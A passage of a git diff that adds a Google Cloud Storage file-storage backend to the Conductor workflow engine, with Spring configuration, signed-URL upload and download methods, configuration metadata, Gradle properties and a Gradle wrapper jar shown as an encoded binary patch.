"fileStorageGcsStorage") + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "gcs") + public Storage fileStorageGcsStorage(GcsFileStorageProperties properties) { + StorageOptions.Builder builder = + StorageOptions.newBuilder().setProjectId(properties.getProjectId()); + GoogleCredentials credentials = getCredentials(properties); + if (credentials != null) { + builder.setCredentials(credentials); + } + return builder.build().getService(); + } + + @Bean + @ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "gcs") + public FileStorage gcsFileStorage( + GcsFileStorageProperties properties, + @Qualifier("fileStorageGcsStorage") Storage storage) { + return new GcsFileStorage(properties, storage); + } + + private static GoogleCredentials getCredentials(GcsFileStorageProperties properties) { + if (properties.getCredentialsFile() == null || properties.getCredentialsFile().isBlank()) { + return null; + } + try (FileInputStream is = new FileInputStream(properties.getCredentialsFile())) { + return GoogleCredentials.fromStream(is); + } catch (IOException e) { + throw new FileStorageException( + "Failed to load GCS credentials from: " + properties.getCredentialsFile(), e); + } + } +} diff --git a/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageProperties.java b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageProperties.java new file mode 100644 index 0000000..896db07 --- /dev/null +++ b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageProperties.java @@ -0,0 +1,47 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.gcs.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.file-storage.gcs") +public class GcsFileStorageProperties { + + private String bucketName; + private String projectId; + private String credentialsFile; + + public String getBucketName() { + return bucketName; + } + + public void setBucketName(String bucketName) { + this.bucketName = bucketName; + } + + public String getProjectId() { + return projectId; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + + public String getCredentialsFile() { + return credentialsFile; + } + + public void setCredentialsFile(String credentialsFile) { + this.credentialsFile = credentialsFile; + } +} diff --git a/gcs-storage/src/main/java/org/conductoross/conductor/gcs/storage/GcsFileStorage.java b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/storage/GcsFileStorage.java new file mode 100644 index 0000000..22b33a5 --- /dev/null +++ b/gcs-storage/src/main/java/org/conductoross/conductor/gcs/storage/GcsFileStorage.java @@ -0,0 +1,98 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.gcs.storage; + +import java.net.URL; +import java.time.Duration; +import java.util.List; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.core.storage.StorageFileInfo; +import org.conductoross.conductor.gcs.config.GcsFileStorageProperties; +import org.conductoross.conductor.model.file.StorageType; + +import com.google.cloud.storage.*; + +/** {@link FileStorage} backed by Google Cloud Storage. */ +public class GcsFileStorage implements FileStorage { + + private final String bucketName; + private final Storage storage; + + public GcsFileStorage(GcsFileStorageProperties properties, Storage storage) { + this.bucketName = properties.getBucketName(); + this.storage = storage; + } + + @Override + public StorageType getStorageType() { + return StorageType.GCS; + } + + @Override + public String generateUploadUrl(String storagePath, Duration expiration) { + BlobInfo blobInfo = BlobInfo.newBuilder(BlobId.of(bucketName, storagePath)).build(); + URL url = getSignedUrl(blobInfo, expiration, HttpMethod.PUT); + return url.toString(); + } + + @Override + public String generateDownloadUrl(String storagePath, Duration expiration) { + BlobInfo blobInfo = BlobInfo.newBuilder(BlobId.of(bucketName, storagePath)).build(); + URL url = getSignedUrl(blobInfo, expiration, HttpMethod.GET); + return url.toString(); + } + + @Override + public StorageFileInfo getStorageFileInfo(String storagePath) { + Blob blob = storage.get(BlobId.of(bucketName, storagePath)); + if (blob == null || !blob.exists()) { + return null; + } + StorageFileInfo info = new StorageFileInfo(); + info.setExists(true); + info.setContentHash(blob.getMd5()); + info.setContentSize(blob.getSize()); + return info; + } + + @Override + public String initiateMultipartUpload(String storagePath) { + // GCS compose: create a signed URL for resumable upload + // SDK handles the actual resumable session — return a signed PUT URL + return generateUploadUrl(storagePath, Duration.ofHours(1)); + } + + @Override + public String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration) { + // GCS reuses the resumable URI for all parts + return uploadId; + } + + @Override + public void completeMultipartUpload( + String storagePath, String uploadId, List partETags) { + // GCS resumable upload auto-completes on final byte range — no-op + } + + private URL getSignedUrl(BlobInfo blobInfo, Duration expiration, HttpMethod httpMethod) { + return storage.signUrl( + blobInfo, + expiration.getSeconds(), + TimeUnit.SECONDS, + Storage.SignUrlOption.httpMethod(httpMethod), + Storage.SignUrlOption.withV4Signature()); + } +} diff --git a/gcs-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/gcs-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..24a62ec --- /dev/null +++ b/gcs-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,19 @@ +{ + "properties": [ + { + "name": "conductor.file-storage.gcs.bucket-name", + "type": "java.lang.String", + "description": "GCS bucket name where files are stored." + }, + { + "name": "conductor.file-storage.gcs.project-id", + "type": "java.lang.String", + "description": "Google Cloud project ID that owns the bucket." + }, + { + "name": "conductor.file-storage.gcs.credentials-file", + "type": "java.lang.String", + "description": "Path to a service account JSON key file. If omitted, falls back to GOOGLE_APPLICATION_CREDENTIALS or the Application Default Credentials chain." + } + ] +} diff --git a/gradle.properties b/gradle.properties new file mode 100644 index 0000000..0a8605d --- /dev/null +++ b/gradle.properties @@ -0,0 +1,4 @@ +org.gradle.daemon=true +org.gradle.jvmargs=-Xmx4g +org.gradle.caching=true +version=3.30.2-rc1 diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000000000000000000000000000000000..7454180f2ae8848c63b8b4dea2cb829da983f2fa GIT binary patch literal 59536 zcma&NbC71ylI~qywr$(CZQJHswz}-9F59+k+g;UV+cs{`J?GrGXYR~=-ydruB3JCa zB64N^cILAcWk5iofq)<(fq;O7{th4@;QxID0)qN`mJ?GIqLY#rX8-|G{5M0pdVW5^ zzXk$-2kQTAC?_N@B`&6-N-rmVFE=$QD?>*=4<|!MJu@}isLc4AW#{m2if&A5T5g&~ ziuMQeS*U5sL6J698wOd)K@oK@1{peP5&Esut<#VH^u)gp`9H4)`uE!2$>RTctN+^u z=ASkePDZA-X8)rp%D;p*~P?*a_=*Kwc<^>QSH|^<0>o37lt^+Mj1;4YvJ(JR-Y+?%Nu}JAYj5 z_Qc5%Ao#F?q32i?ZaN2OSNhWL;2oDEw_({7ZbgUjna!Fqn3NzLM@-EWFPZVmc>(fZ z0&bF-Ch#p9C{YJT9Rcr3+Y_uR^At1^BxZ#eo>$PLJF3=;t_$2|t+_6gg5(j{TmjYU zK12c&lE?Eh+2u2&6Gf*IdKS&6?rYbSEKBN!rv{YCm|Rt=UlPcW9j`0o6{66#y5t9C zruFA2iKd=H%jHf%ypOkxLnO8#H}#Zt{8p!oi6)7#NqoF({t6|J^?1e*oxqng9Q2Cc zg%5Vu!em)}Yuj?kaP!D?b?(C*w!1;>R=j90+RTkyEXz+9CufZ$C^umX^+4|JYaO<5 zmIM3#dv`DGM;@F6;(t!WngZSYzHx?9&$xEF70D1BvfVj<%+b#)vz)2iLCrTeYzUcL z(OBnNoG6Le%M+@2oo)&jdOg=iCszzv59e zDRCeaX8l1hC=8LbBt|k5?CXgep=3r9BXx1uR8!p%Z|0+4Xro=xi0G!e{c4U~1j6!) zH6adq0}#l{%*1U(Cb%4AJ}VLWKBPi0MoKFaQH6x?^hQ!6em@993xdtS%_dmevzeNl z(o?YlOI=jl(`L9^ z0O+H9k$_@`6L13eTT8ci-V0ljDMD|0ifUw|Q-Hep$xYj0hTO@0%IS^TD4b4n6EKDG z??uM;MEx`s98KYN(K0>c!C3HZdZ{+_53DO%9k5W%pr6yJusQAv_;IA}925Y%;+!tY z%2k!YQmLLOr{rF~!s<3-WEUs)`ix_mSU|cNRBIWxOox_Yb7Z=~Q45ZNe*u|m^|)d* zog=i>`=bTe!|;8F+#H>EjIMcgWcG2ORD`w0WD;YZAy5#s{65~qfI6o$+Ty&-hyMyJ z3Ra~t>R!p=5ZpxA;QkDAoPi4sYOP6>LT+}{xp}tk+<0k^CKCFdNYG(Es>p0gqD)jP zWOeX5G;9(m@?GOG7g;e74i_|SmE?`B2i;sLYwRWKLy0RLW!Hx`=!LH3&k=FuCsM=9M4|GqzA)anEHfxkB z?2iK-u(DC_T1};KaUT@3nP~LEcENT^UgPvp!QC@Dw&PVAhaEYrPey{nkcn(ro|r7XUz z%#(=$7D8uP_uU-oPHhd>>^adbCSQetgSG`e$U|7mr!`|bU0aHl_cmL)na-5x1#OsVE#m*+k84Y^+UMeSAa zbrVZHU=mFwXEaGHtXQq`2ZtjfS!B2H{5A<3(nb-6ARVV8kEmOkx6D2x7~-6hl;*-*}2Xz;J#a8Wn;_B5=m zl3dY;%krf?i-Ok^Pal-}4F`{F@TYPTwTEhxpZK5WCpfD^UmM_iYPe}wpE!Djai6_{ z*pGO=WB47#Xjb7!n2Ma)s^yeR*1rTxp`Mt4sfA+`HwZf%!7ZqGosPkw69`Ix5Ku6G z@Pa;pjzV&dn{M=QDx89t?p?d9gna*}jBly*#1!6}5K<*xDPJ{wv4& zM$17DFd~L*Te3A%yD;Dp9UGWTjRxAvMu!j^Tbc}2v~q^59d4bz zvu#!IJCy(BcWTc`;v$9tH;J%oiSJ_i7s;2`JXZF+qd4C)vY!hyCtl)sJIC{ebI*0> z@x>;EzyBv>AI-~{D6l6{ST=em*U( z(r$nuXY-#CCi^8Z2#v#UXOt`dbYN1z5jzNF2 z411?w)whZrfA20;nl&C1Gi+gk<`JSm+{|*2o<< zqM#@z_D`Cn|0H^9$|Tah)0M_X4c37|KQ*PmoT@%xHc3L1ZY6(p(sNXHa&49Frzto& zR`c~ClHpE~4Z=uKa5S(-?M8EJ$zt0&fJk~p$M#fGN1-y$7!37hld`Uw>Urri(DxLa;=#rK0g4J)pXMC zxzraOVw1+kNWpi#P=6(qxf`zSdUC?D$i`8ZI@F>k6k zz21?d+dw7b&i*>Kv5L(LH-?J%@WnqT7j#qZ9B>|Zl+=> z^U-pV@1y_ptHo4hl^cPRWewbLQ#g6XYQ@EkiP z;(=SU!yhjHp%1&MsU`FV1Z_#K1&(|5n(7IHbx&gG28HNT)*~-BQi372@|->2Aw5It z0CBpUcMA*QvsPy)#lr!lIdCi@1k4V2m!NH)%Px(vu-r(Q)HYc!p zJ^$|)j^E#q#QOgcb^pd74^JUi7fUmMiNP_o*lvx*q%_odv49Dsv$NV;6J z9GOXKomA{2Pb{w}&+yHtH?IkJJu~}Z?{Uk++2mB8zyvh*xhHKE``99>y#TdD z&(MH^^JHf;g(Tbb^&8P*;_i*2&fS$7${3WJtV7K&&(MBV2~)2KB3%cWg#1!VE~k#C z!;A;?p$s{ihyojEZz+$I1)L}&G~ml=udD9qh>Tu(ylv)?YcJT3ihapi!zgPtWb*CP zlLLJSRCj-^w?@;RU9aL2zDZY1`I3d<&OMuW=c3$o0#STpv_p3b9Wtbql>w^bBi~u4 z3D8KyF?YE?=HcKk!xcp@Cigvzy=lnFgc^9c%(^F22BWYNAYRSho@~*~S)4%AhEttv zvq>7X!!EWKG?mOd9&n>vvH1p4VzE?HCuxT-u+F&mnsfDI^}*-d00-KAauEaXqg3k@ zy#)MGX!X;&3&0s}F3q40ZmVM$(H3CLfpdL?hB6nVqMxX)q=1b}o_PG%r~hZ4gUfSp zOH4qlEOW4OMUc)_m)fMR_rl^pCfXc{$fQbI*E&mV77}kRF z&{<06AJyJ!e863o-V>FA1a9Eemx6>^F$~9ppt()ZbPGfg_NdRXBWoZnDy2;#ODgf! zgl?iOcF7Meo|{AF>KDwTgYrJLb$L2%%BEtO>T$C?|9bAB&}s;gI?lY#^tttY&hfr# zKhC+&b-rpg_?~uVK%S@mQleU#_xCsvIPK*<`E0fHE1&!J7!xD#IB|SSPW6-PyuqGn3^M^Rz%WT{e?OI^svARX&SAdU77V(C~ zM$H{Kg59op{<|8ry9ecfP%=kFm(-!W&?U0@<%z*+!*<e0XesMxRFu9QnGqun6R_%T+B%&9Dtk?*d$Q zb~>84jEAPi@&F@3wAa^Lzc(AJz5gsfZ7J53;@D<;Klpl?sK&u@gie`~vTsbOE~Cd4 z%kr56mI|#b(Jk&;p6plVwmNB0H@0SmgdmjIn5Ne@)}7Vty(yb2t3ev@22AE^s!KaN zyQ>j+F3w=wnx7w@FVCRe+`vUH)3gW%_72fxzqX!S&!dchdkRiHbXW1FMrIIBwjsai8`CB2r4mAbwp%rrO>3B$Zw;9=%fXI9B{d(UzVap7u z6piC-FQ)>}VOEuPpuqznpY`hN4dGa_1Xz9rVg(;H$5Te^F0dDv*gz9JS<|>>U0J^# z6)(4ICh+N_Q`Ft0hF|3fSHs*?a=XC;e`sJaU9&d>X4l?1W=|fr!5ShD|nv$GK;j46@BV6+{oRbWfqOBRb!ir88XD*SbC(LF}I1h#6@dvK%Toe%@ zhDyG$93H8Eu&gCYddP58iF3oQH*zLbNI;rN@E{T9%A8!=v#JLxKyUe}e}BJpB{~uN zqgxRgo0*-@-iaHPV8bTOH(rS(huwK1Xg0u+e!`(Irzu@Bld&s5&bWgVc@m7;JgELd zimVs`>vQ}B_1(2#rv#N9O`fJpVfPc7V2nv34PC);Dzbb;p!6pqHzvy?2pD&1NE)?A zt(t-ucqy@wn9`^MN5apa7K|L=9>ISC>xoc#>{@e}m#YAAa1*8-RUMKwbm|;5p>T`Z zNf*ph@tnF{gmDa3uwwN(g=`Rh)4!&)^oOy@VJaK4lMT&5#YbXkl`q?<*XtsqD z9PRK6bqb)fJw0g-^a@nu`^?71k|m3RPRjt;pIkCo1{*pdqbVs-Yl>4E>3fZx3Sv44grW=*qdSoiZ9?X0wWyO4`yDHh2E!9I!ZFi zVL8|VtW38}BOJHW(Ax#KL_KQzarbuE{(%TA)AY)@tY4%A%P%SqIU~8~-Lp3qY;U-} z`h_Gel7;K1h}7$_5ZZT0&%$Lxxr-<89V&&TCsu}LL#!xpQ1O31jaa{U34~^le*Y%L za?7$>Jk^k^pS^_M&cDs}NgXlR>16AHkSK-4TRaJSh#h&p!-!vQY%f+bmn6x`4fwTp z$727L^y`~!exvmE^W&#@uY!NxJi`g!i#(++!)?iJ(1)2Wk;RN zFK&O4eTkP$Xn~4bB|q8y(btx$R#D`O@epi4ofcETrx!IM(kWNEe42Qh(8*KqfP(c0 zouBl6>Fc_zM+V;F3znbo{x#%!?mH3`_ANJ?y7ppxS@glg#S9^MXu|FM&ynpz3o&Qh z2ujAHLF3($pH}0jXQsa#?t--TnF1P73b?4`KeJ9^qK-USHE)4!IYgMn-7z|=ALF5SNGkrtPG@Y~niUQV2?g$vzJN3nZ{7;HZHzWAeQ;5P|@Tl3YHpyznGG4-f4=XflwSJY+58-+wf?~Fg@1p1wkzuu-RF3j2JX37SQUc? zQ4v%`V8z9ZVZVqS8h|@@RpD?n0W<=hk=3Cf8R?d^9YK&e9ZybFY%jdnA)PeHvtBe- zhMLD+SSteHBq*q)d6x{)s1UrsO!byyLS$58WK;sqip$Mk{l)Y(_6hEIBsIjCr5t>( z7CdKUrJTrW%qZ#1z^n*Lb8#VdfzPw~OIL76aC+Rhr<~;4Tl!sw?Rj6hXj4XWa#6Tp z@)kJ~qOV)^Rh*-?aG>ic2*NlC2M7&LUzc9RT6WM%Cpe78`iAowe!>(T0jo&ivn8-7 zs{Qa@cGy$rE-3AY0V(l8wjI^uB8Lchj@?L}fYal^>T9z;8juH@?rG&g-t+R2dVDBe zq!K%{e-rT5jX19`(bP23LUN4+_zh2KD~EAYzhpEO3MUG8@}uBHH@4J zd`>_(K4q&>*k82(dDuC)X6JuPrBBubOg7qZ{?x!r@{%0);*`h*^F|%o?&1wX?Wr4b z1~&cy#PUuES{C#xJ84!z<1tp9sfrR(i%Tu^jnXy;4`Xk;AQCdFC@?V%|; zySdC7qS|uQRcH}EFZH%mMB~7gi}a0utE}ZE_}8PQH8f;H%PN41Cb9R%w5Oi5el^fd z$n{3SqLCnrF##x?4sa^r!O$7NX!}&}V;0ZGQ&K&i%6$3C_dR%I7%gdQ;KT6YZiQrW zk%q<74oVBV>@}CvJ4Wj!d^?#Zwq(b$E1ze4$99DuNg?6t9H}k_|D7KWD7i0-g*EO7 z;5{hSIYE4DMOK3H%|f5Edx+S0VI0Yw!tsaRS2&Il2)ea^8R5TG72BrJue|f_{2UHa z@w;^c|K3da#$TB0P3;MPlF7RuQeXT$ zS<<|C0OF(k)>fr&wOB=gP8!Qm>F41u;3esv7_0l%QHt(~+n; zf!G6%hp;Gfa9L9=AceiZs~tK+Tf*Wof=4!u{nIO90jH@iS0l+#%8=~%ASzFv7zqSB^?!@N7)kp0t&tCGLmzXSRMRyxCmCYUD2!B`? zhs$4%KO~m=VFk3Buv9osha{v+mAEq=ik3RdK@;WWTV_g&-$U4IM{1IhGX{pAu%Z&H zFfwCpUsX%RKg);B@7OUzZ{Hn{q6Vv!3#8fAg!P$IEx<0vAx;GU%}0{VIsmFBPq_mb zpe^BChDK>sc-WLKl<6 zwbW|e&d&dv9Wu0goueyu>(JyPx1mz0v4E?cJjFuKF71Q1)AL8jHO$!fYT3(;U3Re* zPPOe%*O+@JYt1bW`!W_1!mN&=w3G9ru1XsmwfS~BJ))PhD(+_J_^N6j)sx5VwbWK| zwRyC?W<`pOCY)b#AS?rluxuuGf-AJ=D!M36l{ua?@SJ5>e!IBr3CXIxWw5xUZ@Xrw z_R@%?{>d%Ld4p}nEsiA@v*nc6Ah!MUs?GA7e5Q5lPpp0@`%5xY$C;{%rz24$;vR#* zBP=a{)K#CwIY%p} zXVdxTQ^HS@O&~eIftU+Qt^~(DGxrdi3k}DdT^I7Iy5SMOp$QuD8s;+93YQ!OY{eB24%xY7ml@|M7I(Nb@K_-?F;2?et|CKkuZK_>+>Lvg!>JE~wN`BI|_h6$qi!P)+K-1Hh(1;a`os z55)4Q{oJiA(lQM#;w#Ta%T0jDNXIPM_bgESMCDEg6rM33anEr}=|Fn6)|jBP6Y}u{ zv9@%7*#RI9;fv;Yii5CI+KrRdr0DKh=L>)eO4q$1zmcSmglsV`*N(x=&Wx`*v!!hn6X-l0 zP_m;X??O(skcj+oS$cIdKhfT%ABAzz3w^la-Ucw?yBPEC+=Pe_vU8nd-HV5YX6X8r zZih&j^eLU=%*;VzhUyoLF;#8QsEfmByk+Y~caBqSvQaaWf2a{JKB9B>V&r?l^rXaC z8)6AdR@Qy_BxQrE2Fk?ewD!SwLuMj@&d_n5RZFf7=>O>hzVE*seW3U?_p|R^CfoY`?|#x9)-*yjv#lo&zP=uI`M?J zbzC<^3x7GfXA4{FZ72{PE*-mNHyy59Q;kYG@BB~NhTd6pm2Oj=_ zizmD?MKVRkT^KmXuhsk?eRQllPo2Ubk=uCKiZ&u3Xjj~<(!M94c)Tez@9M1Gfs5JV z->@II)CDJOXTtPrQudNjE}Eltbjq>6KiwAwqvAKd^|g!exgLG3;wP+#mZYr`cy3#39e653d=jrR-ulW|h#ddHu(m9mFoW~2yE zz5?dB%6vF}+`-&-W8vy^OCxm3_{02royjvmwjlp+eQDzFVEUiyO#gLv%QdDSI#3W* z?3!lL8clTaNo-DVJw@ynq?q!%6hTQi35&^>P85G$TqNt78%9_sSJt2RThO|JzM$iL zg|wjxdMC2|Icc5rX*qPL(coL!u>-xxz-rFiC!6hD1IR%|HSRsV3>Kq~&vJ=s3M5y8SG%YBQ|{^l#LGlg!D?E>2yR*eV%9m$_J6VGQ~AIh&P$_aFbh zULr0Z$QE!QpkP=aAeR4ny<#3Fwyw@rZf4?Ewq`;mCVv}xaz+3ni+}a=k~P+yaWt^L z@w67!DqVf7D%7XtXX5xBW;Co|HvQ8WR1k?r2cZD%U;2$bsM%u8{JUJ5Z0k= zZJARv^vFkmWx15CB=rb=D4${+#DVqy5$C%bf`!T0+epLJLnh1jwCdb*zuCL}eEFvE z{rO1%gxg>1!W(I!owu*mJZ0@6FM(?C+d*CeceZRW_4id*D9p5nzMY&{mWqrJomjIZ z97ZNnZ3_%Hx8dn;H>p8m7F#^2;T%yZ3H;a&N7tm=Lvs&lgJLW{V1@h&6Vy~!+Ffbb zv(n3+v)_D$}dqd!2>Y2B)#<+o}LH#%ogGi2-?xRIH)1!SD)u-L65B&bsJTC=LiaF+YOCif2dUX6uAA|#+vNR z>U+KQekVGon)Yi<93(d!(yw1h3&X0N(PxN2{%vn}cnV?rYw z$N^}_o!XUB!mckL`yO1rnUaI4wrOeQ(+&k?2mi47hzxSD`N#-byqd1IhEoh!PGq>t z_MRy{5B0eKY>;Ao3z$RUU7U+i?iX^&r739F)itdrTpAi-NN0=?^m%?{A9Ly2pVv>Lqs6moTP?T2-AHqFD-o_ znVr|7OAS#AEH}h8SRPQ@NGG47dO}l=t07__+iK8nHw^(AHx&Wb<%jPc$$jl6_p(b$ z)!pi(0fQodCHfM)KMEMUR&UID>}m^(!{C^U7sBDOA)$VThRCI0_+2=( zV8mMq0R(#z;C|7$m>$>`tX+T|xGt(+Y48@ZYu#z;0pCgYgmMVbFb!$?%yhZqP_nhn zy4<#3P1oQ#2b51NU1mGnHP$cf0j-YOgAA}A$QoL6JVLcmExs(kU{4z;PBHJD%_=0F z>+sQV`mzijSIT7xn%PiDKHOujX;n|M&qr1T@rOxTdxtZ!&u&3HHFLYD5$RLQ=heur zb>+AFokUVQeJy-#LP*^)spt{mb@Mqe=A~-4p0b+Bt|pZ+@CY+%x}9f}izU5;4&QFE zO1bhg&A4uC1)Zb67kuowWY4xbo&J=%yoXlFB)&$d*-}kjBu|w!^zbD1YPc0-#XTJr z)pm2RDy%J3jlqSMq|o%xGS$bPwn4AqitC6&e?pqWcjWPt{3I{>CBy;hg0Umh#c;hU3RhCUX=8aR>rmd` z7Orw(5tcM{|-^J?ZAA9KP|)X6n9$-kvr#j5YDecTM6n z&07(nD^qb8hpF0B^z^pQ*%5ePYkv&FabrlI61ntiVp!!C8y^}|<2xgAd#FY=8b*y( zuQOuvy2`Ii^`VBNJB&R!0{hABYX55ooCAJSSevl4RPqEGb)iy_0H}v@vFwFzD%>#I>)3PsouQ+_Kkbqy*kKdHdfkN7NBcq%V{x^fSxgXpg7$bF& zj!6AQbDY(1u#1_A#1UO9AxiZaCVN2F0wGXdY*g@x$ByvUA?ePdide0dmr#}udE%K| z3*k}Vv2Ew2u1FXBaVA6aerI36R&rzEZeDDCl5!t0J=ug6kuNZzH>3i_VN`%BsaVB3 zQYw|Xub_SGf{)F{$ZX5`Jc!X!;eybjP+o$I{Z^Hsj@D=E{MnnL+TbC@HEU2DjG{3-LDGIbq()U87x4eS;JXnSh;lRlJ z>EL3D>wHt-+wTjQF$fGyDO$>d+(fq@bPpLBS~xA~R=3JPbS{tzN(u~m#Po!?H;IYv zE;?8%^vle|%#oux(Lj!YzBKv+Fd}*Ur-dCBoX*t{KeNM*n~ZPYJ4NNKkI^MFbz9!v z4(Bvm*Kc!-$%VFEewYJKz-CQN{`2}KX4*CeJEs+Q(!kI%hN1!1P6iOq?ovz}X0IOi z)YfWpwW@pK08^69#wSyCZkX9?uZD?C^@rw^Y?gLS_xmFKkooyx$*^5#cPqntNTtSG zlP>XLMj2!VF^0k#ole7`-c~*~+_T5ls?x4)ah(j8vo_ zwb%S8qoaZqY0-$ZI+ViIA_1~~rAH7K_+yFS{0rT@eQtTAdz#8E5VpwnW!zJ_^{Utv zlW5Iar3V5t&H4D6A=>?mq;G92;1cg9a2sf;gY9pJDVKn$DYdQlvfXq}zz8#LyPGq@ z+`YUMD;^-6w&r-82JL7mA8&M~Pj@aK!m{0+^v<|t%APYf7`}jGEhdYLqsHW-Le9TL z_hZZ1gbrz7$f9^fAzVIP30^KIz!!#+DRLL+qMszvI_BpOSmjtl$hh;&UeM{ER@INV zcI}VbiVTPoN|iSna@=7XkP&-4#06C};8ajbxJ4Gcq8(vWv4*&X8bM^T$mBk75Q92j z1v&%a;OSKc8EIrodmIiw$lOES2hzGDcjjB`kEDfJe{r}yE6`eZL zEB`9u>Cl0IsQ+t}`-cx}{6jqcANucqIB>Qmga_&<+80E2Q|VHHQ$YlAt{6`Qu`HA3 z03s0-sSlwbvgi&_R8s={6<~M^pGvBNjKOa>tWenzS8s zR>L7R5aZ=mSU{f?ib4Grx$AeFvtO5N|D>9#)ChH#Fny2maHWHOf2G=#<9Myot#+4u zWVa6d^Vseq_0=#AYS(-m$Lp;*8nC_6jXIjEM`omUmtH@QDs3|G)i4j*#_?#UYVZvJ z?YjT-?!4Q{BNun;dKBWLEw2C-VeAz`%?A>p;)PL}TAZn5j~HK>v1W&anteARlE+~+ zj>c(F;?qO3pXBb|#OZdQnm<4xWmn~;DR5SDMxt0UK_F^&eD|KZ=O;tO3vy4@4h^;2 zUL~-z`-P1aOe?|ZC1BgVsL)2^J-&vIFI%q@40w0{jjEfeVl)i9(~bt2z#2Vm)p`V_ z1;6$Ae7=YXk#=Qkd24Y23t&GvRxaOoad~NbJ+6pxqzJ>FY#Td7@`N5xp!n(c!=RE& z&<<@^a$_Ys8jqz4|5Nk#FY$~|FPC0`*a5HH!|Gssa9=~66&xG9)|=pOOJ2KE5|YrR zw!w6K2aC=J$t?L-;}5hn6mHd%hC;p8P|Dgh6D>hGnXPgi;6r+eA=?f72y9(Cf_ho{ zH6#)uD&R=73^$$NE;5piWX2bzR67fQ)`b=85o0eOLGI4c-Tb@-KNi2pz=Ke@SDcPn za$AxXib84`!Sf;Z3B@TSo`Dz7GM5Kf(@PR>Ghzi=BBxK8wRp>YQoXm+iL>H*Jo9M3 z6w&E?BC8AFTFT&Tv8zf+m9<&S&%dIaZ)Aoqkak_$r-2{$d~0g2oLETx9Y`eOAf14QXEQw3tJne;fdzl@wV#TFXSLXM2428F-Q}t+n2g%vPRMUzYPvzQ9f# zu(liiJem9P*?0%V@RwA7F53r~|I!Ty)<*AsMX3J{_4&}{6pT%Tpw>)^|DJ)>gpS~1rNEh z0$D?uO8mG?H;2BwM5a*26^7YO$XjUm40XmBsb63MoR;bJh63J;OngS5sSI+o2HA;W zdZV#8pDpC9Oez&L8loZO)MClRz!_!WD&QRtQxnazhT%Vj6Wl4G11nUk8*vSeVab@N#oJ}`KyJv+8Mo@T1-pqZ1t|?cnaVOd;1(h9 z!$DrN=jcGsVYE-0-n?oCJ^4x)F}E;UaD-LZUIzcD?W^ficqJWM%QLy6QikrM1aKZC zi{?;oKwq^Vsr|&`i{jIphA8S6G4)$KGvpULjH%9u(Dq247;R#l&I0{IhcC|oBF*Al zvLo7Xte=C{aIt*otJD}BUq)|_pdR>{zBMT< z(^1RpZv*l*m*OV^8>9&asGBo8h*_4q*)-eCv*|Pq=XNGrZE)^(SF7^{QE_~4VDB(o zVcPA_!G+2CAtLbl+`=Q~9iW`4ZRLku!uB?;tWqVjB0lEOf}2RD7dJ=BExy=<9wkb- z9&7{XFA%n#JsHYN8t5d~=T~5DcW4$B%3M+nNvC2`0!#@sckqlzo5;hhGi(D9=*A4` z5ynobawSPRtWn&CDLEs3Xf`(8^zDP=NdF~F^s&={l7(aw&EG}KWpMjtmz7j_VLO;@ zM2NVLDxZ@GIv7*gzl1 zjq78tv*8#WSY`}Su0&C;2F$Ze(q>F(@Wm^Gw!)(j;dk9Ad{STaxn)IV9FZhm*n+U} zi;4y*3v%A`_c7a__DJ8D1b@dl0Std3F||4Wtvi)fCcBRh!X9$1x!_VzUh>*S5s!oq z;qd{J_r79EL2wIeiGAqFstWtkfIJpjVh%zFo*=55B9Zq~y0=^iqHWfQl@O!Ak;(o*m!pZqe9 z%U2oDOhR)BvW8&F70L;2TpkzIutIvNQaTjjs5V#8mV4!NQ}zN=i`i@WI1z0eN-iCS z;vL-Wxc^Vc_qK<5RPh(}*8dLT{~GzE{w2o$2kMFaEl&q zP{V=>&3kW7tWaK-Exy{~`v4J0U#OZBk{a9{&)&QG18L@6=bsZ1zC_d{{pKZ-Ey>I> z;8H0t4bwyQqgu4hmO`3|4K{R*5>qnQ&gOfdy?z`XD%e5+pTDzUt3`k^u~SaL&XMe= z9*h#kT(*Q9jO#w2Hd|Mr-%DV8i_1{J1MU~XJ3!WUplhXDYBpJH><0OU`**nIvPIof z|N8@I=wA)sf45SAvx||f?Z5uB$kz1qL3Ky_{%RPdP5iN-D2!p5scq}buuC00C@jom zhfGKm3|f?Z0iQ|K$Z~!`8{nmAS1r+fp6r#YDOS8V*;K&Gs7Lc&f^$RC66O|)28oh`NHy&vq zJh+hAw8+ybTB0@VhWN^0iiTnLsCWbS_y`^gs!LX!Lw{yE``!UVzrV24tP8o;I6-65 z1MUiHw^{bB15tmrVT*7-#sj6cs~z`wk52YQJ*TG{SE;KTm#Hf#a~|<(|ImHH17nNM z`Ub{+J3dMD!)mzC8b(2tZtokKW5pAwHa?NFiso~# 